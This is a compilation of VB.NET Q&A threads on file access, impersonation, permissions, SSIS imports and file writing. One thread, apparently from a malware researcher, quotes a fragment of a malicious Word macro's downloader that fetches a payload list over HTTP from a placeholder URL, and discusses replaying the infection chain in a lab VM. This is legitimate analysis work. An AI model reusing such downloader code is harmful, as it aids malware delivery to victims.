Opening a file using impersonation - vb.net

I have been searching the web looking for a way to open a WORD file from a secure network folder by impersonating a user who has access. The closest I've come to finding the answer was this from 2 years ago:
Impersonating in .net (C#) & opening a file via Process.start
Here is the code that I am using. When I set the arguments = LocalFile_Test, everything works perfectly because the user is accessing the local c:\ that is has access to. But when I set arguments = RemoteFile_Test, Word opens up a blank document which is the same effect as if I put garbage in the arguments. So it appears that it cannot find the file even though when I login with the user/domain/password that I specify in the properties below, I can find that exact file name and it is not empty. Does anything jump out at you right away? I appreciate your time.
Dim LocalFile_Test As String = "C:\New.docx"
Dim RemoteFile_Test As String = "\\Server1\Apps\File\New.docx"
Dim MyStartInfo As New System.Diagnostics.ProcessStartInfo
MyStartInfo.FileName = "C:\Program Files\Microsoft Office\Office12\WINWORD.exe "
MyStartInfo.Arguments = LocalFile_Test
MyStartInfo.LoadUserProfile = True
MyStartInfo.UseShellExecute = False
MyStartInfo.UserName = "specialuser"
MyStartInfo.Domain = "mydomainname"
MyStartInfo.Password = New System.Security.SecureString()
MyStartInfo.Password.AppendChar("p"c)
MyStartInfo.Password.AppendChar("a"c)
MyStartInfo.Password.AppendChar("s"c)
MyStartInfo.Password.AppendChar("s"c)
Process.Start(MyStartInfo)

My understanding is that you are trying to get a password protected file from a server, and when you do process start, it just opens up a blank word doc. I think the error is how you are trying to get the file, I think you have to map the actual physical path of the file on the server, like
System.Web.HttpContext.Current.Server.MapPath("\\Server1\Apps\File\New.docx")
From there, I am fairly certain, you need to create network credentials for the user like
System.Net.NetworkCredential=New NetworkCredential(userName:=, password:=)
Finally, once that is done, you can either write the file, or transmit the file like so...
System.Web.HttpContext.Current.Response.TransmitFile(file name)
System.Web.HttpContext.Current.Response.WriteFile(file name)
Then,once you get the file, you can try to open it with process start.
Hope that helps, let me know if what I said doesn't work.

Related

VB.NET open a Text File within the same folder as my Forms without writing Full Path

I found a similar question but it was 5 years 8 months old, had 2 replies and neither worked for me (VB.Net Read txt file from current directory)
My issue is that when I use the following code:
Dim fileReader As String
fileReader = My.Computer.FileSystem.ReadAllText(Application.StartupPath & "\Username_And_Password_Raw.txt")
Dim usernameAndPassword = Split(fileReader, ",")
I get an error saying:
System.IO.FileNotFoundException: 'Could not find file 'C:\Users\wubsy\source\repos\NEA Stock Page System\NEA Stock Page System\bin\Debug\net6.0-windows\Username_And_Password_Raw.txt'.'
I have tried using all the different Applications.BLANKPath options I can find (ie; StartupPath, CommonAppDataPath, etc.) and they all return essentially the same error only with a different location.
This is the folder layout of my TXT File - I know it's a terrible, incredibly insecure and generally awful way of storing login information but this is just for a NEA so will never ever actually be used
This is the actual path of the TXT File if it helps
C:\Users\wubsy\source\repos\NEA Stock Page System\NEA Stock Page System\Username_And_Password_Raw.txt
The startup path is where your exe is located. That and all supporting files get copied to a binary directory when you compile in visual studio, in your case
C:\Users\wubsy\source\repos\NEA Stock Page System\NEA Stock Page System\bin\Debug\net6.0-windows
But what you're trying to do, reference the file where it sits in your solution, is probably not the best way to do it, and your code above will work (with a change, will mention later) if you change the properties of the file in the solution.
Right click on the file in the Solution Explorer Username_And_Password_Raw.txt, select Properties. Modify Copy to Output Directory to either Copy always / Copy if newer, depending on your requirement. Now that file will copy to the same directory your exe is in, and the code above should work.
Note, when creating a path, don't use string concatenation because you may have too many or too few \; use Path.Combine:
Dim filePath = Path.Combine(Application.StartupPath, "Username_And_Password_Raw.txt"
Dim fileContents = My.Computer.FileSystem.ReadAllText(filePath)

vb.net set windows.old folder permission

Dim myDirectoryInfo As DirectoryInfo = New DirectoryInfo("C:\Windows.old")
Dim myDirectorySecurity As DirectorySecurity = myDirectoryInfo.GetAccessControl()
Dim User As String = "Everyone"
myDirectorySecurity.AddAccessRule(New FileSystemAccessRule(User, FileSystemRights.FullControl, InheritanceFlags.ObjectInherit, PropagationFlags.InheritOnly, AccessControlType.Allow))
myDirectoryInfo.SetAccessControl(myDirectorySecurity)
I have a program that deletes junk files on the computer.
I want to delete the files in windows.old but the above code doesn't work.
Can you help me?
Windows.old is created and maintained for a short period of time in case you want to roll back to a previous install. It normally contains all the files from a previous install.
It should go away by itself, but if not, go to Settings, System, storage and click on the drive at the top of the page. Run down to Temporary files and it should be listed as Previous version of Windows. See if you can delete it there.
If you have deleted parts of it manually, no telling what it will do.
I would not recommend writing code to handle this as it isn't a folder that should come back after you deal with it once.

How do I modify a word macro .response to use a local file instead?

I'm trying to preserve a malicious macro enabled document infection chain for a presentation. Since the URLs tend to die off rather quickly, I've saved all the files locally, and am trying to modify the macro code to use the local files instead of the response objects based on the URLs, and I'm encountering some issues.
The original code looks something like this (I made up some function and variable names that make a little more sense than the obfuscated garbage I've been dealing with, but the names may not be accurate to their functions)
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
And I've modified it to look more like this
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
But this causes an overflow later in the program, and doesn't preserve the newlines of the file. Before I just had it doing FileProcessFunction = a.readline, but that was clearly only returning the last line. I don't know if I need character returns (I think I do), and the FileProcessFunction I'm fairly certain is also used to get an .exe file, which won't work with a.readline, I'm pretty sure. The last time I stepped through it, all it pulled from the local .exe was the MZ header, and nothing else.
How can I process the local file objects in a way that will properly mimic the a.responsetext property on a URL request?
Not sure what you're really looking for...
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function
I figured out what the problem was. I'm relatively sure what I was trying to do would have actually worked, but I was pointing the Macro to the .exe file instead of the the text file with the download link for said .exe file. The macro was expecting the text file with a link.
The fix I implemented instead of trying to use the local files, was to use a Remnux VM on the host only network hosting the files with python -m SimpleHTTPServer. Then I'd simply set a breakpoint for when the objects were created, and manipulate the locals to point to the files on my Remnux machine rather than the URIs it was actually coded for. Also, set the link in the text file to the Remnux machine, instead of dropbox. Worked like a charm.

Access to path is denied when trying to import from the client's desktop with SSIS

I'm creating a html page that will import an excel file in to a tracking system. On a button click event excel file is located / ssis package is fired / data imported then closed out. Thats the idea work flow. Problem is the excel file access is being denied before the package even executes
Here is the exact error :
I've tried :
excel file properties have been shared to everyone
identity impersonate set to true
hard coding the path
here is the VB code
Protected Sub bntExecute_Click(sender As Object, e As EventArgs) Handles btnExecute.Click
Dim app As Application = New Application()
Dim package As Package = Nothing
'Dim fileName As String = "C:\Users\Desktop\T. Bryant III\PTSID_Update_Template"'
Try
Dim fileName As String = Server.MapPath(System.IO.Path.GetFileName(FileUpload1.PostedFile.FileName.ToString()))
FileUpload1.PostedFile.SaveAs(fileName)
package = app.LoadPackage("#C:\Users\Desktop\T.Bryant III\KitImport", Nothing)
'excel connection from package'
package.Connections("SourceConnectionExcel").ConnectionString = "provider=Microsoft.Jet.OLEDB.4.0data source =" + fileName + "Extended Properties = Excel 8.0"
'Execute the pakage'
Dim results As Microsoft.SqlServer.Dts.Runtime.DTSExecResult = package.Execute()
Catch ex As Exception
Throw ex
Finally
package.Dispose()
package = Nothing
End Try
End Sub
Thanks in advance or if there is an easier way to do this please let me know. The package when executing it in ssis works fine with its own connection manager etc.
A few things to try. If they don't work for you as permanent solutions, they should at least confirm that your code is working and you are dealing with a persmissions issue (which appears to be the case).
Move your file to the public folder (C:\Users\Public).
Run your application (or web browser) as an administrator (if applicable to your version of Windows).
If you are using a web browser, try using a different one.
If nothing else works, try pasting your code into a Windows Form Application.
If you still get the same error after trying all of this, it's time to take another look at your code. Remove the Try/Catch block to determine precisely which line is throwing the error. If you've tried hard coding, I'm guessing it's the SaveAs method. I'm not sure what class FileUpload1 is, but some SaveAs methods won't overwrite existing files unless you explicitly tell them to. Check the appropriate documentation and see if you don't need to pass a True value somewhere along with filename.
Update us with the results. At the very least, this should narrow down your problem and allow for a better diagnosis of it.

File is currently in use. Can't write to it

So, i have this problem for a while and it's truly giving me headaches ... I want to download a string from a website, then save it so a file in my computer that i will create on the spot , let's say the file is D:\cars.txt , the file path by the way is Input(3) .
I tried this but it just won't work!
I ran out of ideas, can't find anything to make it work properly.
If Not IO.File.Exists(Input(3)) Then IO.File.Create(Input(3))
Dim str As String = WC.DownloadString(Input(2))
Using wrtr As IO.StreamWriter = New IO.StreamWriter(Input(3))
wrtr.Write(str)
System.Threading.Thread.Sleep(150)
wrtr.Close()
End Using
It won't write to the file because it's still in use, how can i make it work properly :( ?
IO.File.Create(Input(3) creates or overwrites the file and returns a FileStream. From MSDN:
The FileStream object created by this method has a default FileShare value of None; no other process or code can access the created file until the original file handle is closed.
You can rewrite it as follows,
Dim str As String = WC.DownloadString(Input(2))
System.IO.File.WriteAllText(input(3),str)